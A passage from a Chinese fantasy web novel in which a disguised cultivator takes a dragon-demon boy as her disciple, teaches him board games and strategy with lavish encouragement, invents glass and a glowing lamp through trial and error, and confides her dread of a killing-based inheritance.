秦珊拍了拍自己的小心脏,习惯就好,习惯就好,魔族长得吓人很正常,何况苍爵这么帅,就是眼神压迫感太强,这已经很好了,她得习惯一下。 秦珊稍稍适应了一下,就这一个分心的功夫,苍爵忽然站了起来,十分郑重的朝着她行了一个跪拜大礼。 只见他撩开衣袍,优雅的跪在她的脚边,“师父,请受徒儿一拜。” 他双手给她奉上了一片黑色的龙鳞,即便是秦珊再懵也反应过来了,这是在给她行拜师大礼了。 这可不是这演武场上这些一次性老师,教过今日就算了,明日可以随意换老师。 他这是真心实意的,要拜入她的门下,成为她的徒弟。 “你可想清楚了。”在这个世界,这拜师相当郑重,他这是认定了,只跟着她一个人学了,“我可没办法和你战斗,你其实不必急着拜师,你尚且还能请这演武场上别的师父给你指导。” 一日为师终身为父,这句话的分量,在这个世界可不是闹着玩的。 然而苍爵眼神坚定:“我想的很清楚了。” 他看着秦珊,眼底再也没有了昨日的迷茫与颓然,只剩下一片清明,他仿佛看清了前路。 从前的他一直以为自己是个废物,他不喜欢战斗,他讨厌血腥与争夺,可是所有人都在逼他前进,他厌恶极了,也不知道自己到底该何去何从。 可是就在昨天,师父一席话,击碎了他面前那扇朦胧的玻璃,让他豁然开朗。 他仿佛找到了一条只属于自己的路,他不擅长暴力互殴,他厌恶鲜血争夺,可他也希望变得强大。 “请师傅教我!”他太喜欢这条路了,他愿意学,他爱上了这种方式,他的血液在沸腾,灵魂在燃烧,他迫不及待的渴望学到更多,他想要变得更强大,他愿意为之付出一切努力。 “师父!”苍爵这声师父铿锵有力,把秦珊都吓了一,同时也是吸引了周围许多人的目光。 有人拜师了? 在这个演武场上? 居然还是一个名不见经传的小魔族。 有人投来了羡慕的目光。 秦珊最怕引起注意,连忙拉着苍爵离开了那个地方。 “演武场太过嘈杂,走,师父带你去一个安静的地方。”这魔族她不熟,唯一熟悉的只有自己的那个小院子。 好在自己昨天稍微整理了一下,此时也算是一个安静清幽的地方了。 好在她昨天有在认真备课,不仅仅准备了五子棋,还有她自己制作的象棋,主要还是苍爵这孩子学得太快了。 虽然说五子棋很简单,但是一个初学者,短短一天时间,就能和秦珊打得不分高低,这说明他的学习能力是相当惊人的。至少记忆力是真的拉满了,只要秦珊用过一次的套路,他绝对不会上当第二次。 他很聪明,爱思考。 下棋的时候,大部分都是走一步看三步,但是苍爵不一样,他能举一反三,他已经摸索到了一点苗头。 区区一个五子棋,他居然已经开始学会布局了。 走一步,看十步,仿佛他的大脑推演能力不是一般人能比的。 这才第二天,秦珊就已经完全落入了他的陷阱。原本她还有自己的想法,结果到后来,她已经完全陷入了苍爵的节奏,被迫不断防守,最后被必入死局。 转眼一看棋局。 小小的棋盘,黑白双子,苍爵执的黑子,居然连成了一幅漂亮规整的线条,条条大路通罗马,无论他最后一步棋落在何处,都能赢。 秦珊虽然输了,可是她不觉得羞耻,她只觉得开心:“苍爵,你果真是万里挑一的执棋者。” 苍爵被秦珊这么一夸,脸上顿时挂上了一抹微红,“是师傅教导得好。” 秦珊毫不吝啬赞美的言辞:“你在说什么呢?你看看自己这绝杀的天赋,我都什么都没说呢,你全都自己悟出来了,你看看这个推演能力,你看看这个完美的布局,我已经完全落入了你的节奏之中了好吗?你这个陷阱布置得太漂亮了,这就是博弈,你才刚入门第一天,居然就已经摸索到了最关键的心里博弈这一层关系了,你简直就是天才!” 秦珊说得真情实意,却把苍爵听得脸红心跳:“师,师父,你,你别说了。” 第一次。 第一次有人这样夸赞他。 原来,被人夸奖的感觉这样好,难怪...... 秦珊认真的看着他:“苍爵,你的五子棋毕业了,这个速度我简直料想不到。仅仅只用了一天的时间,看来我们就要进行下一个学习进度了。” 秦珊说实话,有点慌。 徒弟进步太恐怖,她怀疑自己智商会跟不上。 看来她是时候趁现在好好研究一下棋谱了。 秦珊今日,教他围棋。 不是象棋,不是跳棋这些给小朋友益智的棋盘游戏了,而是真正的,能让他养成远视、布局、围杀战略的围棋。 “原本想先教你象棋的,但是看你天赋这么好,看来能直接跳过这个步骤了。” 她直接把自己昨晚做好的象棋放在了一旁,苍爵的眼睛却黏在了那一堆圆圆滚滚的棋子上,他的好奇心已经达到了巅峰,“师父......” 他想学,他都想学,他真的好好奇,那些棋子上印刻的文字是什么,莫非是什么符文咒术吗?他心里像是被猫儿抓挠一般,痒得不行。 秦珊看出了他的急切,“不急,我今天教你这个,是绝对适合你的,名叫——围棋。” 围棋? 听起来感觉一般啊,不像是有什么威力的样子,似乎也是小孩子玩的游戏。 秦珊继续解释:“围棋的输赢,最终是以地盘大小来决定的。” 领地之争,魔族最喜欢的戏码。 果然说道这个,苍爵就来了兴趣,“攻略城池,守护领地?” 这是......关于战争的游戏。 他开始热血沸腾了。 秦珊笑道:“不错。” 围棋毫无疑问是谋略型人才最适合的入门小游戏。 “黑白双方不断的扩张自己的地盘,围杀敌方棋子的生存领地,这更像是一门思维武术的入门修行。” 秦珊轻轻敲了敲他的脑门:“大脑其实与肌肉一样,也是会越练越灵活的。用进废退,以后围棋就是你每日必须练习的基础训练了。” 秦珊决定给自己的学生整一个课程表出来。 她拿出纸笔,直接递给了苍爵:“我写,你记。” 她毛笔字不利索。 苍爵听话的提笔,乖乖等她说话。 秦珊想了想:“一周分七天,分别划分早晚两次课程。” 她提前帮苍爵画好了格子。 “周一上午,学习战略思维,练习围棋,写,围棋课。可以锻炼大局观、计算力、长期规划和舍弃局部换取全局利益的决策能力。” “下午,实践课,魔族军事地理学。主要由你自己去实地考察分析,然后写一份魔界地质报告给我。这能让你学会分析地形对信息传递、资源运输和行动速度的影响,优化军队行动路线。实地考察是很有必要的,把棋局里的一切,融入现实,也是你现在就要开始认知的第一步。” 好徒儿,她的地图和材料收集全靠你了。 苍爵听得不明觉厉,虽然不知道自己要学什么,但是光是听这个名字,就觉得好厉害啊! 他是真的觉得好厉害啊。 其他师傅绝对没有如此细致的教学方案,全都是想到哪里就教哪里,不不不,现在魔族的大部分师傅,甚至都不不知道怎么教导徒弟,他们只会单方面的殴打徒弟,或者单方面的展示自己的强大。 剩下的,全靠徒弟自己的悟性。 悟性高的,那自然就学得快,悟性差的,挨打无数次,也不知道如何进步一丁点,还要被人嘲笑天赋烂。 他还是第一次见到这么全面细致的师父,什么都帮他考虑到了。 然而秦珊的话就密集的像是糖豆一样,一连串就冒出来了,根本不给他继续震惊反应的时间。 “周二上午,《兵法》研读,我教你背。”孙子兵法,三十六计安排上。 “下午,概率学、逻辑学、统计学基础教学。”数学课这些基础必须安排上。 “周三上午,基础心理学,下午,谈判技巧和公共演讲教学。” “周四上午,基础物理学,下午社会实践课,魔族战斗行为分析。” “周五上午,实战模拟训练,下午师傅给你讲故事,三国演义。” “周六周天休息。每天进行冥想,写一周复盘,批判性思维日记。” 苍爵越写越激动,越写却越迷茫。 这什么?这都什么? 全都是每见识过的东西,但是看起来感觉好厉害的样子啊啊啊啊! 秦珊看着小黑龙那一手清秀漂亮的字迹,实在是赏心悦目,“不错,一手好字。” 又收到一个夸奖的苍爵开心的低下了头。 秦珊看了看完美的课表:“以后就按这个来学,直到你完成第一阶段的学习,这些课程暂时不会变动了。” 实际上秦珊后续还有更大胆的想法。 她是真的想弄一个虚拟的模拟战场来给苍爵练手的。 但是这个想法很好,却没有实践的能力。 首先,她得学会炼器,其次,她真的很想拥有一个手机。 等手机炼制出来,加上苍爵的天赋‘互联网’,那岂不是美滋滋,线上布置作业什么的,她就有更多的时间来完成自己的事情了。 她想要在魔族过上好日子,完全不输于自己的国度拥有过的好日子。 空调、冰箱、洗衣机、手机、游戏吧,冰淇淋。 秦珊痛苦的幻想了一下:“不急,不急。会有的,都会有的。” 魔族没有炼器大师。 没关系,她觉醒的天赋刚刚好,她自己研究,她会成为魔族的第一位炼器大师。 收集材料的活可以交给徒弟的社会实践课,她不懂的东西全部让徒弟去研究写报告。 总之,她现在好歹不是一个人在战斗了。 等到五年之后,魔尊苏醒,就算真的要清算奸细,大不了她自己炼制一个安全屋,躲起来,再也不过问世间纷争,只要她足够强大,能够保护自己,过好自己的小日子,比什么都能强。 秦珊陪着苍爵练习了一上午的围棋课程,这一次她毫不留情,趁着苍爵还是一个小菜鸡的时候,杀得他落花流水。 不现在欺负一下徒弟,以后就没机会了。 好在苍爵的心性是真的好,每一次输棋,他不仅仅不会生气或者颓废,反而越挫越勇,沉思分析,脸上闪耀着兴奋的红光。 秦珊把他的进步和欢喜看在眼里,也忍不住说出心里话,“你天生就适合学这个。” 天赋好是一回事,“不骄不躁,不畏失败,天赋极佳,啧啧,不错。” 她就是要夸他。 这种一直活在自卑里的孩子,就是需要狠狠的夸。 骄傲,傲慢?不存在的。 她不会去杜撰那种尚未出现在他身上的毛病,他就是缺少积极地反馈。 这个世界不会给他,他的家人没办法给他,那就由她来给。 有了积极的反馈,还愁孩子不好好学习吗? 他简直上瘾了好吧? 在这个娱乐匮乏的世界,享受到成功和成就感的快乐,他是真的爽疯了。 这么多年第一次感受到这种快感,苍爵是真的把全部身心全都投入了进来,学习的热情空前高涨。 下午的军事地理课,苍爵也完成得非常完美。 他化成龙族原形,在天上飞了一圈,回来就开始描绘他们沧澜地界的地图全貌了。 绘制地图,是他下午的作业和任务。 秦珊拿到地图的时候很开心。 OK,魔界沧澜地界地图到手了。 这不就方便她探索了吗? 有了地图,加上她的眼睛,她一下子就对自己生活的这片区域有了一个基本的认知和了解。 她制作冷光灯的材料采集地也找到了。 苍爵还有一些意犹未尽:“师父,要不,我带你飞一圈吧?” 他不知道为什么师傅不喜欢变成原形,但是他猜到了,师父可能不会飞。 龙魔族天生就具备许多天赋优势,即便是最废物的他,也是生下来就会飞的,这是许多低等魔族望尘莫及的本领。 秦珊确实没飞过,她有点跃跃欲试,“这......好吗?” 骑着龙啊? 这和骑在自己学生脖子上到处招摇过市,有什么区别?被人看见了影响多不好。她这个身份有点敏感,她真的需要低调一点。 但是,那可是龙哎。 苍爵的原形非常漂亮,她很想摸一摸。 直接摸多冒昧啊? 但是骑他就有理由摸了,甚至还能摸龙角,上面还有小小的绒毛,跟鹿茸一样,估计苍爵还小,龙角没长熟呢,真的很好奇那个手感。 最终秦珊还是没能抵挡住诱惑。 “行吧,既然你这么要求了。”那我就勉强试一试。 苍爵很开心,秦珊在暗爽,双方嘴角含笑的上天了。 苍爵飞上天空,此时已经入夜,在月光下,苍爵优美的身形反射出淡淡的微光,层层云海间,他宛若入海的游鱼,清风微拂,龙须飘舞,手感太绝,秦珊一整个享受住了。 夜空美景,实在是让人陶醉。 可苍爵也不忘记初心,“师父,你只是让我画地图,我还不是很理解那个,什么军事地理实践是什么意思呢。” 他现在就像是一个好奇宝宝,小心翼翼的想要打探她的知识,生怕她不教他。 秦珊却知无不言:“谋略不是空中楼阁。我教导你下棋也不是真的游戏,你需要把下棋与现实的战斗联合起来,融会贯通。绘制地图,能将广阔而模糊的“魔界”转化为一个可视化的、可理解的沙盘。” “了解你的棋盘,这就是你需要做的事情。” 苍爵嘴角的笑意都没掉下来过,他还有好多好多问题想要问,但是看到秦珊似乎是在欣赏风景,就也不敢问了。 他知道,自己跟了一个很厉害的师父,比那些厉害的魔头要厉害许多许多。哪怕是他的父亲,魔界的魔君,也未必比他师父懂得多呢。 苍爵乖巧的拉着秦珊在空中游走,每到一个地方,秦珊性质来了,就会给他讲一段。 “战斗将就天时地利人和,利用环境的优势,利用一切可利用的东西,这就是谋士应当做的事情,资源的分配,知己知彼百战百胜。你了解的信息越多,你能利用的资源也就越多。” 她一边科普,一边不忘打探她想要了解的知识。 “苍爵,师父考考你,魔族觉醒天赋的知识,你了解多少。” 她现在真的很需要这方面的知识了。 她唯一会的,只有一套魔族最基础的运行功法。 至于觉醒天赋之后,要怎么修行,她现在一窍不通,关键是她也不知道找谁学啊!那就问吧,问苍爵。 苍爵果然在她一系列的攻势下,毫无防备的说了一些。 “觉醒?魔族觉醒天赋还是很难的,普通魔族,很多一辈子都无法觉醒天赋。” 他叹气:“血缘和出生太过重要,可若是运气不好,也会像我这样,觉醒一些不太有用的天赋,天生就比别人差了几成。” 他这是在感叹了。 秦珊有点诧异:“觉醒天赋很难......吗?” 那她怎么刚开始修炼就搞定了? 苍爵回答她:“当然很难了,我都是修习了魔功三年后觉醒的,像是我的......大哥,他被称为魔族新生一代最厉害的天才,也是用了整整三个月才觉醒的。” 他想了想:“对了,我父亲,当年也算是比较厉害,只用了一个月就觉醒了自己的天赋技能。” 秦珊震惊了,“啥?” 她弱弱的问道:“那,那,那要是只用了一天......” 她好像只用了1小时?还是多久,反正没一个晚上就觉醒了吧?那她算什么? 苍爵被吓到了:“一天?师父,你别开玩笑了,那样的绝世天才,数千年来,也就只有魔尊一位而已。” 秦珊:???? 好家伙,感情魔族寻找了这么久的绝世天才,居然就是我自己。 还好觉醒天赋不会理由什么惊天动静的动静,不然她一晚上就觉醒了天赋,不知道要吸引多少目光。 她现在的身份,最怕的就是引人注意。 秦珊心情不错,那她天赋还行哦。 她有自信了,拍了拍苍爵的脖颈子,“乖徒弟,好好跟着师傅办事,以后师父炼器给你玩。” 先画个饼,现在她老飘了。 她不说,苍爵也是跟定她了,“师父,我们魔族不擅炼器的,那不都是那些仙人最喜欢的。” 法宝。 修真界最强大的秘密武器之一。 虽然那些修真者实力不怎么强,但是炼制出来的法宝一个比一个厉害,有些法器,让魔族看着都忍不住心热嫉妒。 所以抢夺修真者的法器,也是魔族的一大爱好。 “师父,你要是喜欢法器,我家里有一些珍藏,可以给你看看。” 法器这种在魔界是绝对的稀有货品,那是高端货,秦珊既然当了别人师傅,自然是没有拿别人礼物的习惯,“这就不必了。” 她反向画饼:“哪儿有徒弟给师父法器的道理,等师父以后炼制出来的法器,以后全都先给你用。” 先拿徒弟当个试验品,他龙族,抗造。 “嗯。”苍爵的回答闷闷的。 师父,是会对徒弟这么好的吗? 他若是说出去自己这些待遇,绝对会被羡慕死的吧。 然而苍爵还不知道,她的计划,还没开始呢。 秦珊让苍爵载着她,顺便将她放在了她想要收集材料的地方。 “师父,你来这里做什么?” 秦珊看着那满山遍野的火山石,渐渐展露笑颜:“收集材料,准备炼器。” 苍爵好奇极了:“师父,你真会炼器啊?” 炼器是一门专属于修真者的本领,其中深奥的知识面太多,涉及了符文、阵法、甚至生物、丹药等等多门技法,是一门综合能力极强的学问。 常言道,劝人炼器,天打雷劈。 有许多修真者,终其一生,说不定也就炼制出一个非常厉害的法宝,就能震惊寰宇。 然而有什么用呢? 强大的法宝,若是没有强大的后台,也只是被人抢走这一个下场。 所以即便是在修真界,炼器师也是非常少见的。 谁会用那么多时间耗费在炼器上啊?多提升一下自己的实力不香吗?努力修炼还能长命百岁千岁,努力炼器只会遭到抢劫。 所以渐渐地,炼器师越来越少,除了几个修真界的大门派才养得起以外,基本很多法器都快绝版了。 炼器师的传承也是极其艰难。 没有厉害的炼器大师教导,普通人自己琢磨炼器简直就是天方夜谭,所以法宝在这个世界极为紧缺。 就连苍爵也觉得自己的师父是在骗人。 秦珊一边观察周围的环境一边指挥苍爵帮自己干活,“你先帮师父采集点材料回来,是真是假,明日你就知道了。” 她也不敢放大话,目前她也是摸着石头过河,科学嘛,就是实验出来的,实践出真知,这个冷光灯她能不能制作出来,还需要待定。 好在苍爵比较听话,没有多问,二话不说,干活麻利的很快帮秦珊把她想要的东西全都收集齐了。 顺便还带着她回了自己的小屋。 苍爵这才放学回家。 秦珊最后也没放过他:“记得回去写作业,明天我会检查。” 秦珊让这孩子写‘成功日记’,他哪儿都挺好,就是有点太自卑了。 说话声音小小的,或许是被打压太久,已经养成了这种自卑的性格,这可不得了,决策的时候,他这种性格往往会让他变得优柔寡断,甚至击溃自信。 苍爵在下棋的时候,也渐渐的意识到了这个问题。 他会怀疑自己的决策。 他害怕自己行差踏错,害怕失败,甚至有时候他会想,自己不去练习战斗本能,反而在这里练习什么棋局游戏,这样到底是对是错。 他脑袋很乱,他很害怕,可是当他沉浸在棋局里的时候,却像是变了一个人,他所有的烦恼全都消失了,只剩下开心,激动和兴奋。 下棋的时候神采飞扬,下棋结束后就开始闷闷不乐。 秦珊看出了他的苦恼,“慢慢来吧。” 多年的打压,岂是她几句话就能治好的。 先从培养他的自信开始:“回家后,写一份成功日记给我,只许你记录你今日成功的事情,你自豪骄傲的事情,必须写满10条,但凡让我看到一丁点的自我批评......呵,就算你作业不合格。” 苍爵长这么大,从来没有听说过作业这种东西。 只能默默点头,谨遵师命:“是,师父。” 他愁啊,他愁死了。 10条?成功日记? 他今天干了10件值得庆祝的事情吗?没有吧? 这叫他写什么? 看着苍爵痛苦的表情,秦珊恨不得截张图。 魔族也是体会到作业的痛苦了,呵呵。 秦珊到家之后就开始琢磨着开始做实验了。 她简单的把自己整个住所全部布置成了实验室的初步雏形,桌子巨大一张,锅碗瓢盆,凡是能够装物品的东西全被她摆上了桌面,就连插花的花瓶都没能被放过。 原本用来做饭的火炉,也变成了她熬制药剂的地方。 这不实践不知道,一开始实践,就冒出来一大堆奇奇怪怪的问题。 比如她家里根本没有盆能够装岩浆,还有一些极具腐蚀性或者提炼出来后会出现有毒气体的化学物,完全没有承载物。 OK,她必须先炼制一批能密封危险性物质的玻璃。 比如从鬼火花里提炼荧光素的方法她一无所知,无论是高温淬炼还是碾压成泥都无用,根据鬼火花的简介,这种花只有在冬天才会发光,也就是说,她想要提炼还需要极低的温度。 OK,她又需要一个制冷机。 好,那么好。 想要制造密封性好的玻璃,她就需要大量的石英砂,需要超高温的熔炉。 好嘛,所以她必须现在家里制作一个熔炉。 等熔炉造好了,她还需要去找魔界的助溶剂和稳定剂,来确保玻璃能稳定生产。 这期间,她需要购买,或者说寻找一些工具。 一个问题接着一个问题,这还仅仅只是制作 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一晚上过去了,她烧出了玻璃,虽然质量一般,但至少不会让她在实验过程中被直接毒死。 第二天上课,回家继续炼器,这天,她加入了不同种类的物质进入玻璃中,不断的实验、实验、记录、失败、记录。 甭管是什么,她都尝试丢进熔炉里烧着玩,主打一个石头多。 最后,终于被她找到了几种稳定性极强,耐高温耐腐蚀的超级玻璃。 这个时候她已经多了不知道烧出多少失败品了。 这些失败品全都放在她的乾坤袋里,她想着到时候买去鬼市,给自己回回血,最近灵石耗费有点大。 第三天,上课,炼器。这天,她找演武场的同事换到几张符咒。 符咒制冷制热,能利用的法术,自然也要利用起来。 第四天、第五天、第六天,她不断的重复实验、失败、再实验,一次次强化自己的经验。 整整七天的时间,她一直在失败,一直在调整自变量。 催化剂的浓度、种类、配比,一切都在不断地推翻重来。 家里所有的纸张全被消耗殆尽,她没办法,关键时刻,只能用锋利的石头刻在地板上、墙壁上,一次次实验记录,她越发激动。 快了,就快了,就差一点,就差一点点。 她完全沉浸在了自己的世界里。 仿佛,这里就是她前世的研究生实验室,她就快完成自己最后的成果发表。 这就是她最喜欢,也最擅长的事情。 魔界也好,现代也罢,她始终在做着自己最热爱的事情,这怎么能不算是一种幸福呢? 秦珊微笑的看着自己玻璃罐子里自己最后的成果,露出了一丝微笑。 “成了.......” 她成功了。 她都快忘了过了多长时间,她终于成功了。 玻璃罐子里,一团散发着微弱光亮的东西,静静的漂浮着。 虽然这东西有点危险,但是它发光啊!这特么怎么不能算是冷光灯呢? 只要不击碎玻璃,它就是一个灯。 秦珊满足的笑了,看着这个自己亲手创作出来的‘冷光灯’,眼神都有些迷离了。 太美了。 “师父?” 苍爵一进门,就被房间里的场景吓坏了。 满墙的奇怪‘符文’全是他认不出的符号,地板上、墙壁上,最夸张地还是那一张张床单和衣服,被晾在房间里最显眼的地方,上面写满了密密麻麻的奇怪符号,和一些他看不懂的词汇。 魔界修习邪功魔功的人不少,但是秦珊这也太,太奇怪了吧。 平时师父是不会迟到的,可是秦珊已经整整一天没有见过他了,他有些担心,这才来看望她。 想不到见到眼前这一幕。 他的师父,手里捧着一个奇怪的透明法器,法器内,一团散发着浓郁魔力的光团,正在和她柔和的对视着。 是的,对视。 苍爵只觉得诡异极了。 秦珊见苍爵来了,把自己手里的东西捧了起来,“苍爵,你看,漂亮吗?” 这虽然只是一盏灯。 却是她迈向科技社会的第一步,是她成功吹响的号角。 苍爵看着她手里的东西,微微张嘴,却说不出话来,他低头却发现了另一个让他诧异的的地方:“师父?你,你真的炼制出法器了!” 他拿起了一旁装着岩浆的玻璃罐子。 这可是炎地的熔岩!居然就这么被放置在木头桌子上?只是间隔了这样一个小巧的透明罐子。 秦珊无语。 老子让你看灯,你看个玻璃杯干什么? 好吧,是秦珊忽视了,灯泡这种东西,在修真界根本不稀奇。 在魔界就更不稀奇了,因为大部分魔族夜视能力都是拉满的,他们晚上甚至都不点灯。她发明的这个灯泡,简直就是沙漠里的雨伞,毫无用武之地。 难怪苍爵的注意力不在这,更关注那个玻璃。 秦珊有点被小小的打击到了,她无所谓的道:“喜欢吗?拿去玩儿吧。” 这东西她太多了,失败品有时候都被她砸着玩。 苍爵惊呆了:“送,送我?” 这么好看的法器,直接送人?炼器师不都是把自己炼制的法宝看得比命还重要吗? 秦珊知道他想什么,赶紧纠正他,“别把这东西想得多厉害,这玩意儿也就能装点东西罢了,是易碎品,很容易一碰就碎。” 苍爵那大得能塞下鸡蛋的嘴,这才收敛了一点。 啊,易碎品。 “那,那也很厉害了。”苍爵还是忍不住感叹。 要知道,炎地那地方,资源丰厚,可惜环境恶劣,普通魔族稍微靠近一点都容易被直接融化,更别提去采集资源了。 这法器看起来居然能承载熔浆,那岂不是能护身? 苍爵摸了摸瓶身,却觉得有些烫,“咦?” 秦珊提醒他:“它也不隔热哈。” 苍爵默默的摸了摸耳垂,“那,那也很厉害了。”能炼制出法器的人,都厉害。 秦珊被他逗笑了:“我这好几个,拿去玩儿吧,不过记住了,不能告诉别人,是我炼制的。” 她需要低调。 苍爵却十分郑重:“徒儿明白,师父放心好了,我苍爵在此立下血誓,绝不将师傅是炼器师的身份暴露出去,如若不然,天打雷劈,不得好死。” 秦珊有些诧异:上道的好孩子。 炼器师这种敏感的身份,她确实不敢随意暴露。 如果苍爵不可信,她以后炼制出特别好的东西,肯定不敢给他看,必然会藏拙。 可苍爵这个血誓立得妙啊,瞬间表了忠心,也消除了秦珊的后顾之忧,这样的话,她就可以放心的把自己炼制出来的好东西给他做实验了。 秦珊很满意苍爵的聪慧,当场就把自己炼坏的那些玻璃制品全抖了出去。 既然他不喜欢灯泡,那这个小灯泡还是她自己留着吧。 玻璃杯,玻璃勺,玻璃罐,还有放大镜。 质量一般,主打一个数量大。 实在是做实验,失败作品太多,她都打算批量处理了这群垃圾。 苍爵在见到这些东西之后,眼睛都瞪大了:“这,这么多?” 法器什么时候也开始批量生产了? 秦珊笑道:“这也不是法器。就当是个玩具就好了。” 是的,它们只是普通的玻璃,没有半点法力波动,只是一个实用的凡物。 苍爵觉得有些奇怪:“师父,所以你为什么不在制作它们的时候,加入法力,或者刻录符文呢?” 秦珊:卧槽! 她这猪脑袋。 一直把这当科学实验,她也是太科学了,把这茬给忘了。 是啊,能加入化学药剂,怎么就不能刻录符文或者法力呢? 之前用来制冷和制热的符咒,加入进去,说不定会产生什么奇怪的反应呢。 苍爵可谓是给她打开了一个全新的思路。 “苍爵,你可以啊。” 但是苍爵却连连摇头:“我,我也只是乱说的,我之前听说过,曾经有炼器大师炼器,万物皆可炼,符文,法力,魂魄,甚至大师投入的精气神,都会成为法器的一部分。” 秦珊悟了,她悟了。 还是要学习啊。 她不能太依靠上辈子的知识了。 魔功,她也必须练起来了。 仙法她是靠不上了,她上次飞出去一个鸽子,这都一个星期过去了,仙界那边回复还在路上呢。向仙界求助仙法使用技巧,恐怕不仅没效果,估计还要被那些老头子痛骂一顿。 秦珊教完了苍爵今天的课程之后,她打算去一趟传功殿。 她要去寻找修炼自己魔功的方法。 有了苍爵给自己的地图,她自己偷偷摸摸去传功殿应该很方便。 传功殿是各族弟子用来修炼功法的地方,觉醒后的魔族,往往会不知道怎么修炼,这个时候传功殿的作用就体现出来了。 传功殿里供奉着魔族数万年来所有战场上消散的英灵,只有本领强大的魔族才能有幸在传功殿留下自己的血脉传承,说白了,就是帮助后人修炼的功法和方法。 觉醒天赋的魔族小辈,会去传功殿寻找机缘。 若是有幸,遇到一个天赋能力相差不大的前辈,就可以得到那位前辈的传承。 算是继承衣钵。 这就是魔族血脉传承的厉害之处了,他们虽然没有书籍,可这种能够直接知识传送大脑更高级的方式来延续文明。 说实话,秦珊其实是有点慌的。 她倒不是害怕自己修仙者的身份暴露,她师傅给她体内下的禁制十分强大,除非魔尊亲自下场验身,不然普通魔族根本发现不了她的异常。 她害怕的是自己找不到传承啊! 她觉醒的这个天赋有点过于普通了。‘眼见为识’这种天赋,在魔族最多算是一个打酱油的,大部分独眼魔,只要稍微努力,估计都能觉醒这种天赋,可以说是烂大街一样的存在。 独眼魔甚至会被一些高等魔族当成寻宝犬特意圈养起来,属于是毫无尊严和能力的一类低等魔族。 这样的天赋能力,绝对不可能进的了传功殿这种对魔族而言相对神圣的地方。 她现在只能祈祷,有类似鉴宝这类的天赋魔族祖师爷能看中她的天赋,给她传承了。 秦珊上完课,怀揣着一颗忐忑的心走了。 苍爵留在‘教室’写作业。 她让苍爵把最近她教导给他的知识全都编辑成册,既然没有教科书,她也只能和苍爵一边教一边现场写了。 学生自己编撰书籍,想必他的理解会更深,学得更好。 苍爵很享受这个过程。 只是.......师父为什么要摆一只魔兽在他的桌之上。 苍爵写完作业后,就好奇的打量起了那团被困在玻璃罐子里的光团。 他用手指轻轻的描绘它的形状,挑逗得小光团上下游走:“小家伙,你到底是个什么东西?” 也不知师傅从哪儿抓来的这个怪家伙。 小小的光团暖暖的散发着微光,它身上的魔气浓郁的快要满溢出来了。 苍爵观察了这个小家伙许久,发现它竟然是有灵智的。 他听课的时候,小家伙也在认认真真的望着秦珊,仿佛在看着自己信仰的神明。他写走也的时候,小家伙也好奇的趴在玻璃壁上望着,好似在识字。 他从未见过这种生物。 不过魔域浩瀚无垠,出现一些神奇的东西也不是大事,苍爵就没放在心上。 许是师傅喜欢养些小魔兽吧。 苍爵默默记下了师父的爱好,想着以后可以给师父抓一些奇珍异兽,送给她养着好玩。 3. 第3章教学 秦珊软趴趴的耷拉着脑袋瘫软在书桌上叹气。 “哎。” 魔法家具梦碎了。 苍爵端坐在对面,手里捏着一枚黑子,悬在棋盘上方半天没落下去。他抬眼看了秦珊一眼,又垂下眼,继续盯着棋盘。 “师父,你今天叹了三十七次气。” 秦珊把头埋进胳膊里,闷闷的声音传出来:“你数这个干什么。” “因为你每次叹气,我的思路就会断一下。”苍爵终于落了子,语气平静,“所以我数了数,看看是你叹气的次数多,还是我思路断的次数多。” 秦珊抬起头,头发乱糟糟的贴在脸上:“结果呢?” “你赢了。”苍爵说,“我思路断了三十八次。” 秦珊愣了两秒,然后噗的一声笑出来。她伸手把脸上的头发拨开,撑着桌子站起来,走到苍爵身边看他下的棋。 棋盘上黑白交错,苍爵的黑子布局稳健,隐隐有围杀之势。秦珊看了片刻,伸手在棋盘一角点了点:“这个地方,你留了个缺口。” 苍爵点头:“故意的。” “故意?” “我想看看你会不会从这儿进来。”苍爵抬头看她,红色的瞳孔里带着一点期待,“你刚才叹气的时候,我就在想,如果你来看棋,第一眼会看哪里。” 秦珊挑眉:“所以这是给我设的陷阱?” “嗯。”苍爵老实承认,“但你没看棋盘,你一直在叹气。” 秦珊哭笑不得。她揉了揉苍爵的脑袋,那对黑色的龙角温温凉凉的,手感意外的好:“行啊,都会给师父下套了。进步很大。” 苍爵被摸得有些不自在,耳朵尖微微泛红,却没有躲开。他小声说:“师父教得好。” “少来。”秦珊收回手,重新坐回自己的位置,“我今天没教什么,光顾着自己郁闷了。” 苍爵把棋盘上的棋子一颗颗收回棋篓里,动作很慢,像是在整理思绪。收完最后一颗棋子,他抬头看向秦珊:“师父为什么郁闷?” 秦珊托着腮,看着窗外灰蒙蒙的天。魔界没有太阳,天空永远是一层厚厚的铅灰色云层,偶尔有闪电在云层深处游走,像是巨龙的脊背。 “我得到了一个传承。”她说,“但是那个传承,跟我想走的路不一样。” 苍爵安静地听着,没有追问。 秦珊继续说:“我想做的是创造东西,造出有用的、好看的东西。但是这个传承,它要我……毁灭。” 她说出这两个字的时候,喉咙有些发紧。 苍爵沉默了一会儿,然后问:“师父得到的是什么传承?” “湮灭。”秦珊说,“归墟之法的传承。靠杀戮变强。” 苍爵的眼睛微微睁大。他张了张嘴,又闭上,像是在组织语言。过了好一会儿,他才说:“师父,你知道归墟是什么地方吗?” 秦珊摇头。 “那是魔界的禁地。”苍爵的声音低了下去,“我父亲说过,归墟里面住着的东西,是连魔尊都不愿意招惹的。那里没有生灵,没有任何活的东西,只有……只有死亡本身。” 秦珊愣了一下,伸手摸了摸怀里那个巴掌大的小神龛。神龛冰凉,没有半点气息,像一块普通的木头。 “我进去过。”她说,“我进去找传承,然后它就跟我出来了。” 苍爵的表情变得很奇怪,像是震惊,又像是敬畏,还夹杂着一丝担忧。他张了张嘴,最后只憋出一句话:“师父,你真厉害。” 秦珊被他逗笑了:“厉害什么,我现在连怎么修炼都不知道。” “可是归墟里的东西愿意跟你出来。”苍爵认真地说,“那说明它认可你。父亲说过,归墟里的存在从不认可任何人,连魔尊都不行。” 秦珊低头看着怀里的小神龛,心里五味杂陈。认可她?一个连虫子都不敢捏死的人,被死亡本身认可了? “师父。”苍爵的声音把她拉回来,“你不想杀戮,那就不杀。” 秦珊苦笑:“可是不杀,我就没法变强。” “那就不变强。”苍爵说得很自然,“师父现在这样就很好了。你教我的东西,不需要你很能打。” 秦珊看着他,少年的眼神清澈认真,没有半分讨好或虚假。他是真的这么想的。 “你这孩子。”秦珊伸手又揉了揉他的脑袋,“你就不怕师父太弱,被人欺负?” 苍爵摇头:“我保护你。” 他说得太自然了,自然得像是在说“今天天气不错”。秦珊愣了一下,然后笑了起来,笑着笑着,眼眶有点发热。 